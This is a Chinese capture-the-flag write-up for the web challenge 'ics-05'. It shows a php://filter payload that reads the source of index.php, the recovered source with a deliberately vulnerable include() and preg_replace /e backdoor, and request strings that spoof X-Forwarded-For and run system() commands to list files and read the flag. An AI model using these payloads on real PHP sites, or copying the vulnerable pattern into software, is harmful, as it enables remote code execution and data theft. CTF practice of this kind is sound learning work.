首页 > 其他分享 >ics-05

ics-05

时间:2023-02-28 22:24:05浏览次数:39  
标签:index 05 die unsion ics php page replacement

挺有意思的一题

攻防世界->web->ics-05

打开题目链接,就是一个很正常的管理系统,只有左侧的可以点着玩

并且点到**设备维护中心时,页面变为index.php

查看响应

发现云平台设备维护中心有东西
点击会发现多了一个参数page=index,

首先想到php伪协议利用成功

page=php://filter/convert.base64-encode/resource=index.php

base64解码,最后有一段这个玩意

<?php

$page = $_GET[page];

if (isset($page)) {
if (ctype_alnum($page)) {
?>
    <br /><br /><br /><br />
    <div style="text-align:center">
        <p class="lead"><?php echo $page; die();?></p>
    <br /><br /><br /><br />

<?php
}else{

?>
        <br /><br /><br /><br />
        <div style="text-align:center">
            <p class="lead">
                <?php
                if (strpos($page, 'input') > 0) {
                    die();
                }
                if (strpos($page, 'ta:text') > 0) {
                    die();
                }
                if (strpos($page, 'text') > 0) {
                    die();
                }
                if ($page === 'index.php') {
                    die('Ok');
                }
                    include($page);
                    die();
                ?>
        </p>
        <br /><br /><br /><br />
<?php
}}
//方便的实现输入输出的功能,正在开发中的功能,只能内部人员测试

if ($_SERVER['HTTP_X_FORWARDED_FOR'] === '127.0.0.1') {

    echo "<br >Welcome My Admin ! <br >";

    $pattern = $_GET[pat];
    $replacement = $_GET[rep];
    $subject = $_GET[sub];

    if (isset($pattern) && isset($replacement) && isset($subject)) {
        preg_replace($pattern, $replacement, $subject);
    }else{
        die();
    }

}
?>
page是我们利用过的,那么接下来就是要利用下面的部分。

$_SERVER['HTTP_X_FORWARDED_FOR'] === '127.0.0.1'
构造请求X-Forwarded-For: 127.0.0.1

然后利用preg_replace()

其中:/e 修正符使 preg_replace() 将 replacement 参数当作 PHP 代码(在适当的逆向引用替换完之后)。

也就是说:要确保 replacement 构成一个合法的 PHP 代码字符串

?pat=/unsion/e&rep=system('ls')&sub=unsion

查找文件名含有flag

?pat=/unsion/e&rep=system('find * -name *flag*')&sub=unsion

输出结果

?pat=/unsion/e&rep=system('tac s3chahahaDir/flag/flag.php')&sub=unsion

标签:index,05,die,unsion,ics,php,page,replacement
From: https://www.cnblogs.com/-Lucky-/p/17166246.html

相关文章

  • HU4056锂电池充电IC耐高压28V,带OVP,带NTC
    产品概述HU4056H是一款完整的采用恒定电流/恒定电压的高压、大电流、单节锂离子电池线性充电IC。最高耐压可达28V,6.5V自动过压保护,充电电流可达1A。由于采用了内部PMOS......
  • AD52060兼容替代TPA3110,AD52050兼容替代TPA3136
    AD52060是一款高效立体声D类功放,它的供电范围较宽(8V~26V),能方便地与各型电源板,包括LED液晶电源板、电源高压二合一板等相连接;输出功率较大,在供电为24V的状态下,输出功率可......
  • JZOJ 6664. 【2020.05.28省选模拟】最优化
    \(\text{Solution}\)原题:\(\text{HonorableMention}\)一个费用流做法,\(S\)向\(2i-1\)连流量为\(1\),费用为\(0\)的边,\(2i\)向\(T\)连流量为\(1\),费用为\(0\)......
  • Chrome 105实施的Chrome Root Program policy导致自签名证书用不了
    方案回顾Chrome变更导致自签名证书验证方式发生变化这个方案在Chrome105之前都是运行良好的,然后在Chrome105+Chrome实施了ChromeRootProgrampolicy(参考阅读),而从Chr......
  • Python elasticsearch 使用心得
    一、配置python==3.6/3.8#更高版本的elasticsearch会出现doc_type被统一成_doc导致旧版语句报错的情况pipinstallelasticsearch==7.8.0二、连接esfromelastics......
  • 1705.吃苹果的最大数目
    问题描述1705.吃苹果的最大数目中等Thereisaspecialkindofappletreethatgrowsappleseverydayforndays.Ontheithday,thetreegrowsapples[i]appl......
  • k8s 部署 metrics-server
    k8s提供了top命令可用于统计资源使用情况,它包含有node和pod两个⼦命令,分别显⽰node节点和Pod对象的资源使⽤信息。kubectltop命令依赖于metrics接口。k8s系......
  • DP4056软硬兼容TP4056,低成本
    概述DP4056是一款单节锂离子电池恒流/恒压线性充电器,采用底部带散热片的SOP8封装以及简单的外部应用电路,常适合便携式设备应用,适合USB电源和适配器电源工作,内部采用......
  • (原创)【B4A】一步一步入门05:控件、公有属性、水平锚定、垂直锚定(控件篇01)
    一、前言前面的教程,已经完整讲述了用B4A开发安卓APP从新建项目到编译发布的完整流程。从本篇开始,我们将会从B4A的细节处着手,一步一步掌握B4A。从本篇开始的子系列为“控......
  • AcWing 2058. 笨拙的手指
    1.题目描述每当贝茜将数字转换为一个新的进制并写下结果时,她总是将其中的某一位数字写错。例如,如果她将数字14转换为二进制数,那么正确的结果应为1110,但她可能会写下01......